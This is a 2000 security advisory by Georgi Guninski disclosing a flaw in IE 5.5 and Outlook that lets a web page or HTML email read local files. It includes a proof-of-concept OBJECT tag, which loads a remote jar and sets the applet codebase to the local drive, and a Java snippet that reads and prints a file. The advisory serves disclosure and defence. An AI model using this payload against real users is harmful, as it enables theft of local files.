guninski24.txt

`Georgi Guninski security advisory #24, 2000  
  
IE 5.5/Outlook java security vulnerability - reading arbitrary local  
files and URLs  
  
Systems affected:  
IE 5.5/Outlook/Outlook Express - probably other versions, have not  
tested  
  
Risk: High  
Date: 18 October 2000  
  
Legal Notice:  
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute  
it unmodified. You may not modify it and distribute it or distribute  
parts of it without the author's written permission.  
  
Disclaimer:  
The opinions expressed in this advisory and program are my own and not  
of any company.  
The usual standard disclaimer applies, especially the fact that Georgi  
Guninski  
is not liable for any damages caused by direct or indirect use of the  
information or functionality provided by this advisory or program.  
Georgi Guninski, bears no responsibility for content or misuse of this  
advisory or program or any derivatives thereof.  
  
Description:  
  
There is a security vulnerability in IE 5.5/Outlook/Outlook Express  
which allows  
reading local files, arbitrary URLs and local directory structure after  
viewing a  
web page or reading HTML message.  
  
Details:  
The problem is the possibility for specifying arbitrary codebase for an  
applet  
loaded from <OBJECT> tag and a jar file. Applets may read URLs from  
their codebase and communicate  
with hosts from the codebase.  
The following code:  
<OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590>  
<PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/gjavacodebase.jar">  
<PARAM NAME="CODEBASE" VALUE="file:///c:/">  
<PARAM NAME="URL" VALUE="file:///c:/test.txt">  
</OBJECT>  
sets the applet's codebase to file:///c:/  
This is not Java language problem and I suppose not a problem in  
Microsoft's VM  
but a problem in the way codebase is set by IE.  
If someone knows if this vulnerability allows writing to files or  
executing programs  
please let me know.  
  
  
The code is:  
---------javacodebase1.html------------------------------------------  
<OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590>  
<PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/gjavacodebase.jar">  
<PARAM NAME="CODEBASE" VALUE="file:///c:/">  
<PARAM NAME="URL" VALUE="file:///c:/test.txt">  
</OBJECT>  
---------------------------------------------------------------------  
  
--------gjavacodebase.java-------------------------------------------  
......  
try  
{  
u = new URL(getParameter("URL"));  
InputStream is=u.openStream();  
byte ba[]=new byte[1000];  
int l=is.read(ba);  
InputStream os=u.openConnection().getInputStream();  
String s1=new String(ba,0,l);  
  
print(u.toString());  
print(s1);  
}  
.......  
---------------------------------------------------------------------  
  
  
  
Workaround:  
Disable Java  
  
Demonstration is available at:  
http://www.guninski.com/javacodebase1.html  
  
Vendor status:  
Microsoft was contacted on morning of 14 October and is working on a fix  
for this vulnerability,  
I don't know when a patch shall be released.  
  
Regards,  
Georgi Guninski  
http://www.guninski.com  
`